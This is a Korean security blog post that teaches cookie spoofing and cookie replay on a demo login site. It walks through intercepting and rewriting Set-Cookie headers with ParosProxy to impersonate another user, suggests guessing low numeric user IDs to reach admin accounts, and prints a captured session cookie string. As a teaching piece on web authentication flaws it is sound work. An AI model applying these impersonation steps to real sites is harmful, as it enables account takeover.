매번 사용자가 로그인할 때마다 랜덤한 값으로 생성되는 일회용 토큰 형태의 Cookie 값을 이용한 인증을 하지 않는 사이트의 경우, 얻어낸 타 사용자의 Cookie 정보를 이용하여 다른 사용자로 로그인할 수 있다. Cookie를 위조하는 공격 기법이라고 하여 이를 Cookie Spoofing이라고 한다. Cookie Spoofing에는 도용하고자 하는 대상 사용자(희생자)의 Cookie 정보가 필요하지 않은 경우와 Cookie 정보가 필요한 경우가 있는데 전자와 후자를 각각 ‘단순 사용자 도용’, ‘Cookie Theft와 연계한 사용자 도용’으로 나누어 설명하도록 한다. 그 전에 잠시 ParosProxy 툴에 대해 알아보자.

① ParosProxy의 소개

Cookie를 조작하기 위해서는 클라이언트가 서버에 Cookie 헤더를 보내는 중간에, 혹은 서버가 클라이언트에게 Set-Cookie 헤더를 보내는 중간에 요청과 응답을 가로채어 수정해야 한다. 물론 브라우저 자체가 그런 기능을 제공하는 경우도 있지만(일례로 FireFox의 플러그인 TamperData가 있음) Proxy 계열의 점검 도구를 사용하는 것이 편리하다. 이런 툴의 경우 또 다른 Proxy Server를 다시 Proxy Server로 잡는 Proxy Chain 기능, Request, Response에 대한 저장 및 분석, Web Spidering(Crawling), 또한 SQL Injection, CRLF Injection 등의 보안 취약성 검사 기능 등의 유용한 기능을 제공하기 때문이다. 그러한 툴 중에 프리웨어로서 유명한 툴이 ParosProxy이다. 이 툴은 http://www.parosproxy.org/에서 다운로드할 수 있으며 설치 과정은 단순하므로 생략한다. 툴 설치 이전에 JRE(Java Runtime Environment)가 설치되어 있어야 하며 버전은 ParosProxy에서 요구하는 버전으로 설치하여야 한다.

ParosProxy 툴 설정이 끝난 이후, www.coconut.co.kr 사이트에 접속한 이후 ParosProxy에서볼 수 있는 결과 화면이다. 다음과 같이 요청과 응답의 내용을 헤더를 포함하여 상세히 볼 수 있다.


[그림 1] ParosProxy 사용 예


② 단순 사용자 도용

이 장에서 공격 기법을 설명하기 위해 구현된 사이트는 다음과 같다. ID, Password 정보를 입력하면 로그인할 수 있는 사이트로 Cookie Spoofing을 이용한 사용자 도용을 설명하기 위해 임의로 구현한 사이트이다. 하지만 현재 실환경으로 운영되는 많은 사이트도 이런 문제점을 갖고 있음을 간과하지 말아야 한다.


[그림 2] 로그인 시도 화면


위 사이트는 일반적인 로그인 페이지다. 로그인할 경우 다음과 같이 해당 회원에 대한 정보를 열람하는 페이지가 확인된다.


[그림 3] 로그인 성공 결과


물론 ID, Password를 잘못 입력하면 다음과 같은 오류 화면이 나타나는 일반적인 로그인 페이지이다.


[그림 4] 로그인 실패 결과


로그인한 이후 회원정보변경 페이지가 열릴 때의 요청을 ParosProxy를 통해 확인해 보면 아래와 같이 s_id라는 Cookie 값이 ‘coconut’으로 셋팅되었음을 알 수 있다.


[그림 5] 로그인 성공 이후 확인된 Cookie 헤더


이 Cookie 정보를 토대로 사용자의 인증 정보를 유지하며 또한 사용자가 coconut임을 구분하는 것으로 유추할 수 있다. 그렇다면 이것을 다른 값으로 바꾼다면 어떤 현상이 나타날 수 있을까? 그 이전에 로그인 과정에서 앞서 이야기한 Set-Cookie라는 Response Header가 확인되는지를 보자.


[그림 6] 로그인 성공 시 확인된 Set-Cookie 정보


ParosProxy에 저장된 요청과 응답 내용을 보니 Set-Cookie라는 헤더가 나타나는 것을 볼 수 있다. 그렇다면 이 Set-Cookie 값을 중간에 가로채서 다른 값으로 변경해버리면 클라이언트가 이후에 보내게 될 Cookie 값도 다른 값으로 보내지게 될 것이다. 정말 그런지 확인해 보자.

ParosProxy를 이용할 경우 Set-Cookie 값을 중간에 가로채어 조작하는 방법은 크게 두 가지가 있다. 우선 Trap 기능을 이용하는 것이다. Trap 기능은 다음과 같이 활성화할 수 있다. Trap request를 선택하게 되면 클라이언트에서 서버 측으로 보내지는 데이터를 중간에 가로채어 조작하도록 할 것이며 Trap response를 선택하게 되면 서버 측에서 클라이언트로 보내지는 데이터를 중간에 가로채어 조작하도록 할 것이다.


[그림 7] Trap response 설정


두 번째 방법은 Tools > Filter 메뉴에서 Detect and alert ’Set-cookie’ attempt in HTTP response for modification을 활성화 하는 것이다.


[그림 8] Set-cookie 시도 탐지 설정


두 번째 방법으로 할 경우 모든 응답 메시지를 가로채지 않고 Set-cookie 헤더가 나타났을 때만 가로채어 조작할 수 있도록 한다. 두 가지 중 어느 방법이든 가능하니 편한 방법을 쓰면 된다. 여기서는 Trap을 이용한 방법으로 기술하겠다.

우선 앞서 제시된 것과 같이 Trap Response 항목을 체크한다. Set-Cookie의 경우는 서버가 클라이언트에게 보내는 데이터를 조작하는 것이므로 Trap Response를 하는 것으로 충분하다.

Trap response를 셋팅한 상태에서 다시 로그인을 시도해본다. 요청에 대하여 응답을 계속 중간에 가로채어 보여줄텐데 Continue 버튼을 클릭하면 다음 단계로 넘어간다. 다음과 같이 Set-Cookie 화면이 나타날 때까지 넘어간다.


[그림 9] Trap 기능을 이용한 Set-Cookie 정보 변경 시도


여기서 Continue를 누르기 전에 Set-Cookie의 내용을 다음과 같이 조작한다.


[그림 10] Trap 기능을 이용한 Set-Cookie 정보 변경 시도


이제 Continue를 누른다. 그 전에 더 이상의 response를 중간에 가로챌 이유는 없으므로 Trap response 체크박스는 해제해도 좋다. 그 결과 다음과 같이 ahncoco 계정의 패스워드 정보를 입력하지도 않았고 알지도 못함에도 ahncoco로서 로그인 성공하였음을 알 수 있다.


[그림 11] 사용자 도용 성공 결과


이 예제에서는 이해를 돕게 하기 위하여 상황을 최대한 단순화시켰다. 하지만 s_id라는 ID 이름 대신 숫자로 표현된 값으로 사용자를 구분하는 경우도 실제로 구현된 사이트 중에 있다. 즉 hosik은 12341, ahncoco는 12342라고 표현되었다고 하자. 이 경우 Cookie 값을 12342로 변경하면 ahncoco로 로그인된다. 또한 이런 경우 주요 계정이 초기에 생성되었음을 감안하여 낮은 숫자로 시도함으로 종종 admin 계정과 같은 경우로 로그인 성공하는 경우도 있다.

③ Cookie Theft와 연계한 사용자 도용

Cookie Theft를 통해 Cookie 정보를 얻어내어야 하는 경우가 있다. 인증에 사용되는 Cookie 정보가 앞선 경우와는 달리 복잡하게 설정된 경우이다. 대표적인 경우는 아래와 같은 경우이다. 아래 정보를 보면 사용자ID, 해당 부서 등의 정보를 얻어내야 할텐데 앞서 논한 단순 사용자 도용과 같이 추측만으로 하기는 어려운 문제이다. 이 경우는 사용자의 Cookie를 얻어내는 방법 즉 Cookie Theft가 필요하다. 하나, 이 경우도 기억할 점이 있다면 Cookie 정보는 많지만 실제 로그인 정보를 유지하고 사용자 정보를 구분하는 핵심 Cookie 정보만 필요하다는 점이다. 그런 정보가 많지 않고 간단하게 구현되어 있다면 그것을 파악하면 좀 더 쉽게 작업을 할 수 있다.

ASPSESSIONIDCARTBSDR=CCNGEOOABFJGIHHCJIIEPFBP; LoginInfo=Key=79%1683%1667%1668%1660%1677%16&EditorMode=1&HOST=coconut%2Eonnet21%2Ecom&SvcOrder=5%2CB05%2C0%2C0%2C10%2CB10%2C0%2C0%2C12%2CC02%2C0%2C0%2C14%2CC04%2C0%2C0%2C17%2CC08%2C1%2C1%2C11%2CC01%2C1%2C1%2C7%2CB07%2C1%2C1%2C8%2CB08%2C1%2C1%2C3%2CB03%2C1%2C1%2C2%2CB02%2C1%2C1%2C13%2CC03%2C1%2C1%2C4%2CB04%2C1%2C1%2C9%2CB09%2C1%2C1%2C1%2CB01%2C1%2C0%2C6%2CB06%2C1%2C0%2C&MailHost=mail&EmpID=54&UserID=hosik&PosName=+%B4%EB%B8%AE&ComName=%28%C1%D6%29%BE%C8%B7%A6%C4%DA%C4%DA%B3%D3&bbp=YldWc2IyNW5JUT09&DOMAIN=coconut%2Eonnet21%2Ecom&ComID=COCONUT&DeptName=%BA%B8%BE%C8%B1%E2%BC%FA%BF%AC%B1%B8%C6%C0&UType=N&UpperDepts=i%5FDeptId%3D26+OR+i%5FDeptId%3D22+OR+i%5FDeptId%3D0&fmode=1&Name=%C0%CC%BF%EB%C7%D0&DeptID=26&ID=hosik

얻어낸 Cookie를 재사용하여 로그인할 수 있는 문제점, 공격 기법을 Cookie Replay라고 부른다.@

'보안' 카테고리의 다른 글

Web Hacking 3탄 구멍난 자바스크립트  (0) 2010.11.23
Web Hacking 2탄 파일조작  (0) 2010.11.23
Web Hacking 1탄 SQL Injection  (1) 2010.11.23
쿠키 보안 02  (0) 2010.11.23
쿠키 보안 01  (0) 2010.11.23
: